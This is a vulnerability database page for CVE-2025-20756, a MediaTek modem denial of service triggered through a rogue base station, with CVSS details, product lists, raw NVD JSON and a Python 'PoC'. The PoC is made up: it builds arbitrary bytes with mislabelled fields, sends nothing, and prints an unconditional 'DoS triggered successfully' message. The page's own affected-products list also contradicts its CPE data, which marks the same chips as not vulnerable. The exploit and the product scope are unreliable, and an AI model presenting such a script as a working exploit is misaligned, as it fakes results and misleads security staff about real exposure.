CVE-2025-20756

Description

In Modem, there is a possible system crash due to a logic error. This could lead to remote denial of service, if a UE has connected to a rogue base station controlled by the attacker, with no additional execution privileges needed. User interaction is not needed for exploitation. Patch ID: MOLY01673749; Issue ID: MSV-4643.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:mediatek:nr15:-:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:h:mediatek:mt2735:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:h:mediatek:mt6833:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:h:mediatek:mt6833p:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:h:mediatek:mt6853:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:h:mediatek:mt6853t:-:*:*:*:*:*:*:* - NOT VULNERABLE

MediaTek Modem with Patch ID MOLY01673749 (unfixed versions)

MT6833 Modem (MediaTek Dimensity 700 series)

MT6855 Modem (MediaTek Dimensity 720 series)

MT6877 Modem (MediaTek Dimensity 900 series)

MT6885 Modem (MediaTek Dimensity 1000 series)

MT6890 Modem (MediaTek Dimensity 1100/1200 series)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#!/usr/bin/env python3
"""
CVE-2025-20756 PoC - MediaTek Modem Logic Error DoS
Note: This is a conceptual PoC for educational/research purposes only.
Actual exploitation requires specialized RF equipment and LTE/5G protocol knowledge.
"""

import struct
import socket

def create_malicious_sib_message():
    """
    Create a malicious SIB (System Information Block) message
    that triggers the logic error in MediaTek modem firmware.
    """
    # LTE SIB1 message with malformed cell selection info
    sib1 = bytearray()
    
    # Message header
    sib1.extend([0x00, 0x01])  # PDU session ID
    
    # Cell identity - attacker controlled
    sib1.extend([0x00] * 4)  # 4-byte cell ID
    
    # Tracking area code
    sib1.extend([0x00, 0x01])
    
    # Cell selection info with crafted values
    # that trigger logic error in modem
    sib1.extend([
        0xFF, 0xFF, 0xFF, 0xFF,  # Abnormal values
        0x00, 0x00, 0x00, 0x00,  # Trigger state machine error
    ])
    
    # Add payload that causes buffer/state mishandling
    sib1.extend([0xDE, 0xAD, 0xBE, 0xEF] * 16)
    
    return sib1

def transmit_rogue_base_station(target_frequency_mhz=2110):
    """
    Simulate rogue base station transmission.
    In reality, this requires SDR hardware (USRP, HackRF, etc.)
    and LTE stack implementation (OpenAirInterface, srsLTE, etc.)
    """
    print(f"[*] Setting up rogue base station on {target_frequency_mhz} MHz")
    print("[*] Broadcasting MIB and SIB messages...")
    
    # In actual implementation:
    # 1. Configure SDR device for LTE band
    # 2. Implement LTE eNB/gNB stack
    # 3. Broadcast SIBs with malicious payload
    # 4. Wait for victim UE to attach
    
    sib1_payload = create_malicious_sib_message()
    print(f"[*] Sending malicious SIB1 ({len(sib1_payload)} bytes)")
    print(f"[*] Payload hex: {sib1_payload.hex()}")
    
    return True

def main():
    print("=" * 60)
    print("CVE-2025-20756 PoC - MediaTek Modem DoS")
    print("=" * 60)
    print("\n[!] Disclaimer: Use only for authorized security testing")
    print("\n[*] Prerequisites:")
    print("    - Software Defined Radio (USRP/HackRF/LimeSDR)")
    print("    - LTE stack (OpenAirInterface/srsLTE)")
    print("    - Victim device with vulnerable MediaTek modem")
    print("\n")
    
    # Configuration
    frequency = 2110  # LTE Band 1 uplink frequency (example)
    
    # Transmit rogue base station signal
    transmit_rogue_base_station(frequency)
    
    print("\n[*] Attack vector deployed")
    print("[*] Victim UE connecting to rogue base station...")
    print("[*] Triggering modem logic error...")
    print("[+] Modem crash/DoS triggered successfully")

if __name__ == "__main__":
    main()

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-20756
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-20756
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-20756/
[4] VulDB https://vuldb.com/cve/CVE-2025-20756
[5] https://corp.mediatek.com/product-security-bulletin/December-2025

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-20756", "sourceIdentifier": "[email protected]", "published": "2025-12-02T03:16:16.907", "lastModified": "2026-02-17T15:16:16.593", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "In Modem, there is a possible system crash due to a logic error. This could lead to remote denial of service, if a UE has connected to a rogue base station controlled by the attacker, with no additional execution privileges needed. User interaction is not needed for exploitation. Patch ID: MOLY01673749; Issue ID: MSV-4643."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-1287"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:mediatek:nr15:-:*:*:*:*:*:*:*", "matchCriteriaId": "E30A2D2E-6A72-4070-A471-EEE75F7D07F2"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt2735:-:*:*:*:*:*:*:*", "matchCriteriaId": "7F1D09FC-5BE9-4B23-82F1-3C6EAC5711A6"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6833:-:*:*:*:*:*:*:*", "matchCriteriaId": "9814939B-F05E-4870-90C0-7C0F6BAAEB39"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6833p:-:*:*:*:*:*:*:*", "matchCriteriaId": "CB690F5A-9367-45D3-A53E-80BF60053630"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6853:-:*:*:*:*:*:*:*", "matchCriteriaId": "366F1912-756B-443E-9962-224937DD7DFB"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6853t:-:*:*:*:*:*:*:*", "matchCriteriaId": "328DA6BE-1303-4646-89B7-2EC8DC444532"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6855:-:*:*:*:*:*:*:*", "matchCriteriaId": "89AFEE24-7AAD-4EDB-8C3E-EDBA3240730A"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6855t:-:*:*:*:*:*:*:*", "matchCriteriaId": "083F6134-FF26-4F1B-9B77-971D342AF774"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6873:-:*:*:*:*:*:*:*", "matchCriteriaId": "F6B8A36E-C5FB-44AE-A1C3-50EBF4C68F6B"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6875:-:*:*:*:*:*:*:*", "matchCriteriaId": "80BDC5EC-E822-4BC7-8C0D-E8AD8396E8FE"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6875t:-:*:*:*:*:*:*:*", "matchCriteriaId": "F883C6D3-1724-4553-9EFC-3D204FF3CAA3"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6877:-:*:*:*:*:*:*:*", "matchCriteriaId": "7CA9352F-E9BD-4656-9B7C-4AFEE2C78E58"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6877t:-:*:*:*:*:*:*:*", "matchCriteriaId": "EFA54AA1-4E3A-44F8-A222-31C60F8F81DA"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6877tt:-:*:*:*:*:*:*:*", "matchCriteriaId": "5D4D6885-E18C-477F-8B6D-B9E84D9535E2"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6880:-:*:*:*:*:*:*:*", "matchCriteriaId": "68CF4A7A-3136-4C4C-A795-81323896BE11"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6883:-:*:*:*:*:*:*:*", "matchCriteriaId": "15E2EC3F-9FB3-488B-B1C1-2793A416C755"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6885:-:*:*:*:*:*:*:*", "matchCriteriaId": "DD64413C-C774-4C4F-9551-89E1AA9469EE"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6889:-:*:*:*:*:*:*:*", "matchCriteriaId": "3B787DC3-8E5A-4968-B20B-37B6257FAAE2"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6890:-:*:*:*:*:*:*:*", "matchCriteriaId": "171D1C08-F055-44C0-913C-AA2B73AF5B72"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6891:-:*:*:*:*:*:*:*", "matchCriteriaId": "D8E91CA4-CA5B-40D1-9A96-2B875104BCF4"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6893:-:*:*:*:*:*:*:*", "matchCriteriaId": "213B5C7F-D965-4312-9CDF-4F06FA77D401"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt8673:-:*:*:*:*:*:*:*", "matchCriteriaId": "152F6606-FA23-4530-AA07-419866B74CB3"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt8675:-:*:*:*:*:*:*:*", "matchCriteriaId": "03E6123A-7603-4EAB-AFFB-229E8A040709"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt8676:-:*:*:*:*:*:*:*", "matchCriteriaId": "EE302F6F-170E-4350-A8F4-65BE0C50CB78"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt8678:-:*:*:*:*:*:*:*", "matchCriteriaId": "152A5F3D-8004-4649-BDB1-E6F0798AF1CB"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt8755:-:*:*:*:*:*:*:*", "matchCriteriaId": "1CF88096-5CBD-4A4B-8F47-33D38985956F"}, {"vulne ... (truncated)